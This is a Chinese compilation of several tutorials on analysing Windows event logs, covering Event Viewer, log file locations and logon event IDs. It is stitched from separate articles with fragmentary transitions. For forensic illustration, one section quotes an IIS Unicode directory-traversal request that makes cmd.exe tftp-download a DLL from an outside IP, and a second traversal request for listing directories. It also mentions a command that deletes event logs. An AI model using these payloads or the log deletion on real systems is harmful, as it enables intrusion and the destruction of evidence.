Windows日志浅析
Windows系统中的系统日志查看与分析
Windows系统中的系统日志查看与分析Windows操作系统提供了一个系统日志功能，用于记录操作系统和应用程序的活动和事件。
系统日志是管理员和技术支持人员用来诊断系统问题和监视系统性能的重要工具。
本文将介绍在Windows系统中如何查看和分析系统日志。
一、查看系统日志在Windows系统中，可以通过事件查看器来查看系统日志。
以下是查看系统日志的方法：1. 打开事件查看器在Windows操作系统的开始菜单中，搜索并打开“事件查看器”。
2. 导航至系统日志在事件查看器左侧的导航栏中，展开“Windows日志”，然后选择“系统”。
3. 检查日志系统日志中列出了操作系统的各种事件和错误。
可以根据事件级别（如错误、警告、信息）和日期范围进行筛选和排序。
二、分析系统日志系统日志中的事件提供了有关系统的重要信息和警告。
以下是分析系统日志的一些常见方法：1. 查找错误和警告在系统日志中，查找错误（红色叉号）和警告（黄色感叹号）的事件。
这些事件表示可能存在的问题或潜在的系统错误。
2. 查看事件详细信息双击一个事件，以查看其详细信息。
可以获得有关事件的时间戳、源、类别和描述等信息。
此外，还可以查看事件的特定属性和数据。
3. 使用筛选器事件查看器提供了筛选器功能，可以根据关键字、事件ID和事件级别等条件来筛选事件。
这有助于快速找到与特定问题相关的事件。
4. 导出日志有时，需要将系统日志导出并共享给其他技术支持人员。
可以使用事件查看器的导出功能将日志保存为文件，供后续分析和分享。
三、常见的系统日志事件以下是一些常见的系统日志事件及其含义：1. 硬件故障事件这些事件通常与硬件设备（如磁盘驱动器、内存）有关，表示硬件故障或错误。
2. 系统错误事件这些事件表示操作系统遇到了错误或异常情况。
例如，系统崩溃、蓝屏或无响应等。
3. 应用程序错误事件这些事件与特定应用程序有关，表示应用程序遇到了错误或异常情况。
4. 安全事件安全事件包括登录失败、文件访问权限等与系统安全相关的事件。
Windows系统系统日志分析技巧解读系统错误和警告
Windows系统系统日志分析技巧解读系统错误和警告Windows操作系统是目前世界上最常用的操作系统之一，它的稳定性和可靠性备受用户赞赏。
然而，就像任何其他复杂的软件系统一样，Windows也可能出现错误和警告。
为了帮助用户追踪和解决这些问题，Windows提供了系统日志功能。
系统日志是Windows系统中的一项关键功能，记录了系统中发生的各种事件和错误。
通过分析系统日志，用户可以获得有关系统问题的详细信息，并采取相应的措施来修复错误或解决潜在问题。
在本文中，我们将介绍一些分析系统日志的技巧，以帮助用户更好地理解和解读系统错误和警告。
1. 理解系统日志的基本原理系统日志是Windows操作系统的一个核心组件，它负责记录各种事件和错误信息。
系统日志的主要分类包括应用程序、安全性、系统和安全浏览。
每个日志都包含了各自的事件类型，如错误、警告和信息。
对于系统错误和警告的分析，我们需重点关注系统日志中的系统和应用程序事件。
2. 分析系统错误事件系统错误事件是指Windows系统内部发生的严重错误，这些错误通常会导致系统的功能异常或崩溃。
在系统日志中，系统错误事件以红色或黄色的标识出来，用户可以通过以下步骤进行分析：a. 打开事件查看器运行“eventvwr.msc”命令或通过控制面板中的“管理工具”打开事件查看器。
b. 导航到系统日志在事件查看器中，选择“Windows日志”下的“系统”。
c. 过滤系统错误事件在系统日志中，使用筛选功能过滤出系统错误事件。
常见的错误事件类型包括“Kernel-Power”、“BugCheck”和“Disk”。
d. 查看错误详情单击特定错误事件并查看其详细信息，包括错误代码、描述和相关进程信息等。
e. 尝试解决方案根据错误信息，尝试采取相应的措施来解决问题。
这可能包括更新驱动程序、修复操作系统或删除冲突的软件等。
3. 解读系统警告事件系统警告事件是指Windows系统中发生的一些非致命错误或潜在问题的警告信号。
Windows日志
Windows⽇志 在计算机领域，⽇志⽂件（logfile）是⼀个记录了发⽣在运⾏中的操作系统或其他软件中的事件的⽂件，或者记录了在⽹络聊天软件的⽤户之间发送的消息。
⽇志记录（Logging）是指保存⽇志的⾏为。
最简单的做法是将⽇志写⼊单个存放⽇志的⽂件。
1、Windows⽇志应⽤程序⽇志安全⽇志系统⽇志Scheduler服务⽇志FTP⽇志WWW⽇志DNS服务器⽇志这些⽇志的种类会根据你的系统开启的服务的不同⽽有所不同，我们在系统上进⾏⼀些操作时，这些⽇志⽂件通常会记录下我们操作的⼀些相关内容，这些内容对系统安全⼯作⼈员相当有⽤。
⽐如说有⼈对系统进⾏了IPC探测，系统就会在安全⽇志⾥迅速地记下探测者探测时所⽤的IP、时间、⽤户名等，⽤FTP探测后，就会在FTP⽇志中记下IP、时间、探测所⽤的⽤户名等。
（百度百科）通过事件查看器查看（简单打开⽅法：windows+R，输⼊：eventvwr回车）通过Powershell(管理员权限)常⽤命令查看所有⽇志：Get-WinEvent查看应⽤程序⽇志：Get-WinEvent -FilterHashtable @{logname="Application";}2、Windows需要了解的⽇志及其作⽤与位置系统⽇志: 存放了Windows操作系统产⽣的信息、警告或错误。
通过查看这些信息、警告或错误，不但可以了解到某项功能配置或运⾏成功的信息，还可了解到系统的某些功能运⾏失败，或变得不稳定的原因。
安全⽇志: 存放了审核事件是否成功的信息。
通过查看这些信息，可以了解到这些安全审核结果为成功还是失败。
应⽤程序⽇志: 存放应⽤程序产⽣的信息、警告或错误。
通过查看这些信息、警告或错误，可以了解到哪些应⽤程序成功运⾏，产⽣了哪些错误或者潜在错误。
程序开发⼈员可以利⽤这些资源来改善应⽤程序。
应⽤程序⽇志、安全⽇志、系统⽇志、DNS⽇志默认位置：%systemroot%\system32\config（%systemroot%不懂可以查windows变量）安全⽇志⽂件： %systemroot%\system32\config\SecEvent.EVT系统⽇志⽂件： %systemroot%\system32\config\SysEvent.EVT应⽤程序⽇志⽂件： %systemroot%\system32\config\AppEvent.EVTDNS⽇志： %systemroot%\system32\config\DnsEvent.EVTFTP⽇志默认位置： %systemroot%\system32\logfiles\msftpsvc1\WWW⽇志默认位置： %systemroot%\system32\logfiles\w3svc1\（FTP⽇志和WWW服务⽇志，默认每天⼀个⽇志）Scheduler计划任务服务⽇志默认位置：%systemroot%\Tasks\schedlgu.txt（由于系统屏蔽的原因，只能在命令⾏下查看）FTP 和WWW服务⽇志详解：FTP⽇志和WWW⽇志默认情况，每天⽣成⼀个⽇志⽂件，包含了该⽇的⼀切记录，⽂件名通常为 ex （年份）（⽉份）（⽇期）例如： ex180226，（2018年2⽉23⽇产⽣的⽇志）这个由于对IIS并不了解还没有尝试这些位置不⼀定能找到你想要找的⽇志，可以按照下⾯的注册表中的⽇志路径去查找⽇志的位置以上⽇志在注册表⾥的键：应⽤程序⽇志、安全⽇志、系统⽇志、DNS⽇志，这些log⽂件在注册表中的HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\EventlogSchedluler服务⽇志在注册表中HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent3、windows⽇志分析在Windows⽇志中记录了很多的操作事件，为了⽅便管理，每种类型的事件都有⼀个惟⼀的编号，这就是事件ID。
windows系统日志分析
（1）unicode漏洞入侵日志记录
这个是个非常经典的漏洞了，要找这样的服务器估计得去国外慢慢找了，但是因为它的日志是最经典的一个，所以我们这里特别拿它来做个示范。
我们打开IIS5的Web服务的日志文件,日志文件默认位置在%systemroot%\ system32\LogFiles\文件夹下，如图１所示是一个典型的Unicode漏洞入侵行为的日志记录，对于正常的Web访问，是通过80端口用 GET命令获取Web数据，但通过非法的字符编码可绕过字符验证而得到不应该得到的信息。但补上相应的补丁可堵上此漏洞。如图一所示。
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c+tftp%20-i%2061.48.10.129%20GET%20cool.dll%20c:\httpodbc.dll
502 –
看到了吧？记录非常详细的，系统里面那个程序在响应都记录了下来，这样我们分析入侵行为就好办了。
在此介绍移位的目的是为了充分利用Windows 2000在NTFS格式下的“安全”属性，如果不移位也无法对文件进行安全设置操作，右击移位后的“文件夹选择属性”，进入“安全”选项卡，不选择“允许将来自父系的可继承权限传播给该对象”，添加“System”组，分别给Everyone组“读取”权限，System组选择除“完全控制”和“修改”的权限。然后再将系统默认的日志文件512KB大小改为你所想要的大小，如20MB。进行了上面的设置后，直接通过Del C:\*.Evt/s/q来删除是删不掉的，相对要安全很多了。
我们配合入侵来看下这样的记录：通过下面的编码我们在入侵的时候可以查看目标机的目录文件：
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200
windows安全日志分析
window安全日志分析今日服务器遭受入侵，入侵路径回溯：被入侵服务器—>跳板机—>办公网某主机。
因此整理记录windows被入侵相关信息。
本文只研究windows安全登录相关日志，介绍三种事件类型（登录，注销，尝试登陆）。
通过此日志可查看windows主机是否通过3389远程服务爆破进入。
注：windows日志有存储大小限制，有被覆盖的可能.可修改，请自行百度。
1.1 windows日志位置我的电脑右键管理：刷选windows安全日志事件ID:4000-4700,登录相关1.2 三种登录事件详解1.2.1 事件4648（尝试登陆）事件4648描述：此事件发生在日志所在windows主机，表明日志所在windows主机尝试连接远程主机,无论连接成功与否,这里都会记录。
网络地址端口：经测试发现只有同一局域网(且同一C段)才会记录目标服务器ip端口。
1.2.2 事件4624（登陆成功）事件4624描述:表示日志所在win主机被成功连接“使用者"：指明本地系统上请求登录的帐户。
这通常是一个服务（例如Server 服务）或本地进程（例如Winlogon。
exe 或Services.exe).“登录类型”：指明发生的登录种类。
最常见的类型是 2 （交互式）和3 （网络)。
（登陆类型3:例如连接共享文件，打印机等；登陆类型7：解锁；登陆类型10：例如远程桌面等参考连接：http://blog。
sina。
/s/blog_5c39a08901012uu5。
html）“新登录”：指明新登录是为哪个帐户创建的，即登录的帐户。
“网络信息”：指明远程登录请求来自哪里.“工作站名”并非总是可用，而且在某些情况下可能会留为空白.1.2.3 事件4634（注销）1.3 日志分析工具log_parser_lizard工具介绍:一个Log Parser的图形版，功能强大（可能需要安全相关依赖，我一开始安装了Log Parser) 使用参考连接: http://blog。
Windows系统中的系统日志分析方法
Windows系统中的系统日志分析方法Windows操作系统拥有强大且详细的系统日志功能，可以记录操作系统运行过程中的各种事件和错误信息。
通过分析这些系统日志，管理员可以及时发现并解决系统问题，提高系统的可靠性和性能。
本文将介绍Windows系统中的系统日志分析方法。
一、系统日志的分类系统日志主要分为三类：应用程序日志、安全日志和系统日志。
应用程序日志用来记录与特定应用程序相关的事件信息，包括应用程序的错误、警告和信息等。
安全日志记录安全审计和访问控制信息，用于监视系统的安全状况。
系统日志则记录系统组件和操作系统自身的事件信息，包括启动和关闭事件、硬件错误和系统性能等。
二、系统日志的查看1. 打开事件查看器在Windows操作系统中，可以通过“管理工具”中的“事件查看器”来查看系统日志。
也可以使用“运行”对话框中的“eventvwr.msc”命令快速打开事件查看器窗口。
2. 选择日志类型在事件查看器窗口中，左侧面板中列出了三类日志类型：“应用程序和服务日志”、“Windows日志”和“安全日志”。
根据需要，选择相应的日志类型即可查看对应的系统日志。
三、系统日志的分析1. 了解事件的级别和类别事件查看器中，每个日志条目都有一个事件级别和事件类别。
事件级别主要分为四个等级：信息（Information）、警告（Warning）、错误（Error）和严重错误（Critical）。
事件类别则根据不同的日志类型而有所不同，比如应用程序日志中的事件类别包括应用程序错误、应用程序警告和应用程序信息等。
2. 过滤和排序日志为了更好地查找和分析系统日志，可以使用事件查看器中的过滤功能。
可以按照事件级别、事件源和关键字等进行日志过滤，只显示关注的日志信息。
此外，还可以对日志进行排序，按照时间、事件级别等进行排序，便于分析和比对。
3. 解读事件描述每个日志条目包含事件描述和相关详细信息，其中会有关键字、错误码等信息。
Windows系统中的系统日志和错误报告分析
Windows系统中的系统日志和错误报告分析在Windows操作系统中，系统日志和错误报告是非常重要的工具，它们可以记录和提供有关系统运行状况的详细信息，帮助用户分析和解决各种问题。
本文将详细介绍Windows系统中的系统日志和错误报告，并解释如何分析它们以便有效地定位和解决故障。
一、系统日志系统日志是一种记录和存储系统事件的功能，它包含了系统启动、关机、硬件故障、驱动程序问题、应用程序错误等多种类型的事件。
通过查看系统日志，用户可以及时发现并解决潜在的问题，提高系统的稳定性和可靠性。
Windows系统中的系统日志分为三类：应用程序日志、安全日志和系统日志。
应用程序日志存储与应用程序相关的事件和错误信息，安全日志用于记录安全相关的事件，而系统日志则包含与操作系统本身有关的事件和错误。
要查看系统日志，用户可以按下Win键+R键，打开运行对话框，输入eventvwr.msc命令，然后在事件查看器中选择相应的日志类型。
通过筛选和查找功能，用户可以根据日志的事件ID、级别和来源等信息找到特定的日志记录。
二、错误报告错误报告是一种Windows系统自动生成的记录故障信息的工具，它可以收集有关应用程序和系统崩溃的详细数据，并发送给Microsoft进行分析和提供解决方案。
错误报告能够帮助用户追踪和解决应用程序或系统崩溃的原因。
当应用程序或系统崩溃时，Windows系统会自动弹出错误报告对话框，用户可以选择发送错误报告给Microsoft或不发送。
如果用户选择发送错误报告，相关的错误信息将被记录并匿名上传，用于改进Windows系统的稳定性和性能。
用户也可以主动查看错误报告，方法是打开控制面板并选择“问题报告和解决”选项。
在问题报告和解决窗口中，用户可以查看已发送的错误报告以及与之相关的解决方案。
三、系统日志和错误报告的分析系统日志和错误报告的分析是解决Windows系统问题的重要步骤。
通过仔细分析日志和错误报告，用户可以找到问题的源头，并采取相应的措施进行修复或优化。
Windows系统日志分析技巧
Windows系统日志分析技巧Windows系统日志是操作系统记录各种事件的重要记录工具，通过分析系统日志可以帮助我们了解系统运行状况、排查问题和改善系统性能。
本文将介绍一些Windows系统日志分析的常用技巧，帮助读者更好地利用系统日志。
1. 概述Windows系统日志主要包含应用程序日志、安全日志、系统日志和事件订阅日志。
应用程序日志包含了与特定应用程序相关的事件和错误信息；安全日志用于记录系统登录、访问权限和安全策略相关的事件；系统日志则包含操作系统本身的事件和错误信息；事件订阅日志用于跟踪订阅发布的事件。
2. 了解日志分类在进行系统日志分析前，我们首先要对系统日志的分类有所了解。
通过观察应用程序日志、安全日志、系统日志和事件订阅日志中的事件类型和级别，可以帮助我们聚焦于特定类型的问题。
比如，如果我们遇到了系统崩溃的问题，就应该重点关注系统日志中的错误、警告和关键事件。
3. 使用筛选器Windows系统日志通常会记录大量的事件，为了快速找到我们关心的信息，可以使用筛选器进行过滤。
通过对关键词、事件ID、级别等进行筛选，可以缩小日志内容范围，提高效率。
例如，我们可以使用关键词筛选器查找特定应用程序的错误事件，或者使用级别筛选器查找系统崩溃事件。
4. 分析日志详情系统日志中每个事件都包含详细的信息，我们可以仔细阅读事件的详细描述，以了解事件发生的上下文和影响。
比如，安全日志中的登录事件可以告诉我们登录的用户名、登录类型和登录时间等信息，这些信息对于安全审计和追踪非法登录行为非常重要。
5. 应用统计功能Windows系统日志还提供了一些统计功能，帮助我们更好地了解系统的运行情况。
比如，我们可以使用性能监视器对系统日志进行实时监控，以便快速发现系统资源占用过高或者进程崩溃的问题。
此外，系统还提供了事件查看器和追踪日志等工具，用于高级日志分析和故障排除。
6. 日志备份和归档为了确保日志的完整性和长期保存，我们应该定期备份和归档系统日志。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
Windows日志浅析总体来看，登录/登出事件对可以很好地追踪用户在一台主机上完整活动过程的起至点，和登录方式无关。
此外可以提供一些“帐户登录”没有的信息，例如登录的类型。
此外对终端服务的活动专门用两个事件ID来标识。
ok，我们开始分析，同样从5种类型分别进行分析。
1、本地方式的登录和登出Randy大神在书中只提到了Windows使用两个事件ID528和540记录用户成功的登录（后者对应网络类型的登录），登出使用ID530。
然而事实上同时发生的事件不只限于这些，那么让我们来看看用户简单的登录和登出活动至少会触发那些事件。
首先是成功的登录，从日志分析来看至少会有2个事件发生，分别为ID552和528，以下从左到右分别是各自的截图。
现在来各种进行详细分析，首先是ID552事件，该事件说明有人使用身份凭据在尝试登录，并且头字段中的用户名为SYSTEM。
看看描述信息中有什么好东西：使用明确凭据的登录尝试: （说明有人在尝试登录）登录的用户:用户名: WIN2003$ （主机名加了$后缀）域: WORKGROUP （主机的域名，此例中主机在名称为“WORKGROUP”的工作组中）登录ID: (0x0,0x3E7)登录GUID: -凭据被使用的用户:目标用户名: Administrator （登录使用的用户名）目标域: WIN2003 （要登录的主机名）目标登录GUID: -目标服务器名称: localhost目标服务器信息: localhost调用方进程ID: 1612源网络地址: 127.0.0.1 （从IP地址很容易判断是本地登录）源端口: 0这里有一点要说明一下，Windows对这条日志的解释是“一个已登录的用户尝试使用另外一个用户凭证创建登录会话，例如使用“RUNAS”命令来运行某个可执行文件”。
但事实上第1次用户成功登录后也会产生这个事件。
接着是ID528事件，此时头字段中的用户名也变成真实的用户名，看看描述信息中有什么东西：登录成功: （说明用户已成功登录）用户名: Administrator （登录使用的用户名）域: WIN2003 （被登录主机所属的域的域名，如果不在域中为主机名）登录ID: (0x0,0x37BF9) （此登录ID在计算机重启前会保持其唯一性，重启后可能会被再次使用。
该ID很重要，因为可以关联用户随后的很多活动如对象访问！）登录类型: 2 （各种类型含义及数字见后面的表格）登录进程: User32身份验证数据包: Negotiate工作站名: WIN2003 （记录发起登录请求的计算机的Netbios名）登录GUID: -调用方用户名: WIN2003$调用方域: WORKGROUP调用方登录ID: (0x0,0x3E7) （注意，此ID和ID552事件描述信息的登录ID是一样的）调用方进程ID: 1612传递服务: -源网络地址: 127.0.0.1 （同样从IP地址很容易判断是本地登录）源端口: 0有意思的事情发生了，ID528事件的调用方登录ID和和ID552的登录ID是一样，那么我们能不能做个大胆的猜想呢？在本地登录成功前，系统本身先已创建了登录会话，然后此会话再创建真实的用户会话。
呵呵，只是随便猜猜而已。
登录类型对应含义如下表，上篇文章中常见5种登录方式对应数字分别为2、3、4、5、10。
此外，如果登录的用户名有某些权限（通过”本地安全策略“分配给该用户），在用户成功登录时还会有ID576事件发生，如下图所示：描述信息如下：指派给新登录的特殊权限:用户名: Administrator域: WIN2003登录ID: (0x0,0x37BF9)特权: SeSecurityPrivilegeSeBackupPrivilegeSeRestorePrivilegeSeTakeOwnershipPrivilegeSeDebugPrivilegeSeSystemEnvironmentPrivilegeSeLoadDriverPrivilegeSeImpersonatePrivilege从描述信息中我们可以看到名称为“Administrator”的用户所拥有的权限列表。
接下来看看失败的本地登录，首先是无效用户名、其次是有效用户名但是错误密码。
从图中可以看到，登录失败后会有ID529的事件产生。
并且两者头字段的信息没有什么区别，用户名都是“SYSTEM”。
那么看看描述信息中有什么信息和区别。
登录失败:原因: 用户名未知或密码错误用户名: test1域: WIN2003登录类型: 2登录进程: User32身份验证数据包: Negotiate工作站名称: WIN2003调用方用户名: WIN2003$调用方域: WORKGROUP调用方登录ID: (0x0,0x3E7)调用方进程ID: 1100传递服务: -源网络地址: 127.0.0.1源端口: 0登录失败:原因: 用户名未知或密码错误用户名: administrator域: WIN2003登录类型: 2登录进程: User32身份验证数据包: Negotiate工作站名称: WIN2003调用方用户名: WIN2003$调用方域: WORKGROUP调用方登录ID: (0x0,0x3E7)调用方进程ID: 1100传递服务: -源网络地址: 127.0.0.1源端口: 0从描述信息可以看到两者没有什么区别，唯一不同的是用户名，并且登录失败原因都一样。
登录类型同样给出了用户登录的方式，为本地登录（数字为2）。
有意思的是调用方用户名也是“主机名+$”的形式。
用户正常注销登出的话，也不是简单的一个事件。
事实上会有2个事件产生，ID分别为551和538。
截图如下：看来微软在这点做得够细致了，先会有ID551事件说明有用户要求注销，接着ID538事件说明用户已成功注销。
从头字段和描述信息中都可以看到真实的用户名，登录ID，并且ID538事件还包括用户的登录方式。
微软的官方解释中有这样的说明：“ID551事件说明用户发起注销请求，因此包含用户的安全信息和允许用户访问对象的主要访问令牌会从内存中擦除。
因此在令牌擦除后用户无法访问资源如文件、注册表。
当注销过程完成后ID538事件产生。
如果ID538事件没有在551事件后出现，一个程序或服务可能没有正确地管理访问令牌。
尽管用户无法访问对象，这个程序或服务可能有缓存的访问令牌并保留访问对象的能力”。
2、远程方式的登录和登出使用mstsc远程登录某个主机时，使用的帐户是普通用户的话（没有分配该用户任何权限）成功的情况下会有ID为552、528的事件产生，没有ID576事件。
这2个事件的头字段和本地方式基本没有什么区别，看看描述信息有什么不一样的地方：使用明确凭据的登录尝试:登录的用户:用户名: WIN2003$域: WORKGROUP登录ID: (0x0,0x3E7)登录GUID: -凭据被使用的用户:目标用户名: rdp目标域: WIN2003目标登录GUID: -目标服务器名称: localhost目标服务器信息: localhost调用方进程ID: 1984源网络地址: 192.168.10.2源端口: 1035登录成功:用户名: rdp域: WIN2003登录ID: (0x0,0x4C715)登录类型: 10登录进程: User32身份验证数据包: Negotiate工作站名: WIN2003登录GUID: -调用方用户名: WIN2003$调用方域: WORKGROUP调用方登录ID: (0x0,0x3E7)调用方进程ID: 1984传递服务: -源网络地址: 192.168.10.2源端口: 1035从这里可以看出至少有3个地方不一样，首先登录类型的ID为10，说明是远程交互式登录，其次是源网络地址和源端口。
如果有防火墙的日志的话，可以进行关联分析。
登录失败同样分别使用无效用户名和有效用户名、无效密码2种方式，结果都是产生ID529事件，与之前也没有什么区别。
描述信息如下：登录失败:原因: 用户名未知或密码错误用户名: rdp域: WIN2003登录类型: 10登录进程: User32身份验证数据包: Negotiate工作站名称: WIN2003调用方用户名: WIN2003$调用方域: WORKGROUP调用方登录ID: (0x0,0x3E7)调用方进程ID: 2640传递服务: -源网络地址: 192.168.10.2源端口: 1040从信息中可以看到，唯一不同且有价值的是登录类型的ID、源IP地址和源端口。
用户注销的话同样会有ID551和538事件产生，与本地登录一样（除了登录类型的数值），因此不再附图说明。
但是ID538事件产生时间会比551晚一点，做了几次实验有1分30秒、2分多都有，似乎不是固定的值。
如果使用RDP远程登录主机后，没有注销而是直接点×关闭窗口，会产生ID683事件，如果再次使用该用户和密码连接时，会产生ID682事件，截图分别如下：从描述信息中可以很清楚地看到会话中断和重新连接的事件，此时登录ID都一样，但是会话名称已经发生变化。
另外一种远程访问方式为远程协助，也会产生ID552、528、551和538事件（会伴随用户名为“ANONYMOUS LOGON”的成对ID540和538事件）。
只是其中的真实用户名变成“HelpAssistant_abae4f”，其中的“abae4f”不知道是不是随机生成，反正我做了2次实验都是这个。
3、网络访问的登录和登出这里访问共享文件夹的情况根据不同的情况会有几种不同的事件模式产生，分别进行说明。
这里先假设主机A上C盘目录下有名为“share”的文件夹，开启网络共享并且权限为A主机上的名为“rdp”的用户。
架设B主机上也有名为“Administrator”的管理员和名为“rdp”的用户。
a、没有给A主机上的”rdp“用户赋予任何权限，设置B主机的rdp用户和A主机上的密码一致，以rdp用户登录B主机，然后以在运行中输入“\\192.168.10.1\share”的方式访问A主机的共享文件夹，然后关闭共享文件夹窗口。
此时在A主机上会有事件模式为：有用户名为“rdp”的ID为540和538的事件产生（注意：此时登录时没有ID552事件），如下图所示：这些登录、登出事件的头字段中用户名均为rdp，但是计算机名还是被访问的主机名。
现在看看ID540事件的描述信息：成功的网络登录:用户名: rdp域: WIN2003登录ID: (0x0,0x75BCF)登录类型: 3登录过程: NtLmSsp身份验证数据包: NTLM工作站名: WIN2K3登录GUID: -调用方用户名: -调用方域: -调用方登录ID: -调用方进程ID: -传递服务: -源网络地址: 192.168.10.2源端口: 0从中我们可以发现除了登录类型变为“3”以为，身份验证数据包也变为“NTLM”，并且工作站的名称也是发出访问共享文件夹请求的B主机的真实主机名（这里让我很奇怪的是使用RDP方式访问时工作站名仍为被访问主机的主机名）。